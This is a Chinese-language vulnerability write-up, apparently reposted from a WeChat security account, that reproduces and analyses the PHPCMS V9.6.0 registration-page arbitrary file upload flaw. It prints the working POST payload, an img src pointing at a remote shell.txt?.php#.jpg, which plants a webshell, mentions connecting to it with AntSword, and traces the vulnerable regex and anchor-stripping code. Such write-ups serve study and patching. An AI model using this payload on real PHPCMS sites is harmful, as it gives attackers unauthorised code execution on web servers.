影响范围
PHPCMS V9.6.0
攻击类型
任意文件上传
利用条件
影响范围应用
漏洞概述
2017年4月份左右PHPCMS V9.6被曝出注册页面存在任意文件上传漏洞,通过该漏洞攻击者可以在未授权的情况下上传任意文件,甚至getshell
漏洞复现
利用方式1
首先打开用户注册页面,之后随意填写数据,同时使用burpsuite抓取数据包:
http://192.168.174.138/phpcms/index.php?m=member&c=index&a=register&siteid=1
之后发送到repeater模块,同时修改请求数据包中的请求数据为:
siteid=1&modelid=11&username=joe&password=123456&[email protected]&info[content]=<img src=http://192.168.174.138/shell.txt?.php#.jpg>&dosubmit=1&protocol=
文件成功上传
利用方式2
在Firefox中访问用户注册页面,同时通过hackbar来POST以下请求(这里的img标签中的src为可以访问到的VPS中的webshell木马程序访问地址):
siteid=1&modelid=11&username=Al1ex&password=1234567&[email protected]&info[content]=<img src=http://192.168.174.138/shell.txt?.php#.jpg>&dosubmit=1&protocol=
之后更具目录去相关目录下查看文件,发现webshell确实已经被成功上传:
之后使用蚁剑来连接:
漏洞分析
首先我们需要查看一下用户的注册功能"phpcms/modules/member/index.php"中的register函数:
从上面的流程可以看到首先是获取用户的siteid,之后定义了站点的id并加载了用户模块和短信模块的配置,之后通过对"$_POST['dosubmit']"是否为空进行判断来确定是否要进入用户注册流程当中,而我们这里自然是不为空了,所以我们继续跟进。之后通过查看代码我们可以看到对于用户的信息验证代码在L129行开始,同时我们之前在漏洞验证过程中的关键词"info"也出现了,我们继续跟进:
从上面的代码中我们可以看到对于post进的info信息首先通过"new_html_special_chars"来转义了一下HTML特殊字符,之后用将其传入到了member_input中,之后我们跟进get函数来看看:
从上面可以看到这里首先通过trim_sript函数:
从函数功能来看这里只是对用户的输入的数据中的javscript代码进行了一次转义。
在get函数中有个关键的点就是if(is_array($data)),我们payload中的info就是个数组,所以能走进这个if条件中,继续跟。 先是用foreach进行遍历$info,键名为$field,键值为$value,首先用safe_replace进行了一次安全替换:
之后我们再次返回到get函数中,由于我们的 payload 是info[content],所以调用的是editor函数,同样在这个文件中:
接下来函数执行$this->attachment->download函数进行下载,我们继续跟进,在phpcms/libs/classes/attachment.class.php中:
函数中先对$value中的引号进行了转义,然后使用正则匹配:
$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=(["|']?)([^ "'>]+.($ext))\2/i",$string, $matches)) return $value;
这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),我们的 payload (<img src=http://url/shell.txt?.php#.jpg>)符合这一格式(这也就是为什么后面要加.jpg的原因)。接下来程序使用这行代码来去除 url 中的锚点:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);,处理过后$remotefileurls的内容如下:
可以看到#.jpg会被自动删除了,正因如此,下面的$filename = fileext($file);取的的后缀变成了php,这也就是 PoC 中为什么要加#的原因:把前面为了满足正则而构造的.jpg过滤掉,使程序获得我们真正想要的php文件后缀。随后在这一行带入了函数fillurl:
同时在fillurl中去掉了#后的内容:
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
随后便进行下载:
其中$upload_func等同于php的copy函数。 然而:
而fopen一般都是可用的,如果开启了allow_url_fopen,这个漏洞就构成了,然而大部分环境都默认开启了allow_url_fopen。
最终在插入注册信息时因为混入了未知的参数而导致插入失败,报错就显示出了这个未知的参数至此,该漏洞分析完成。
漏洞POC
pocsuite3
POC完整脚本后台回复"PHPCMS"下载
修复建议
参考链接
https://www.seebug.org/vuldb/ssvid-92930
原文始发于微信公众号(七芒星实验室):PHPCMS V9.6.0_前台任意文件上传
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论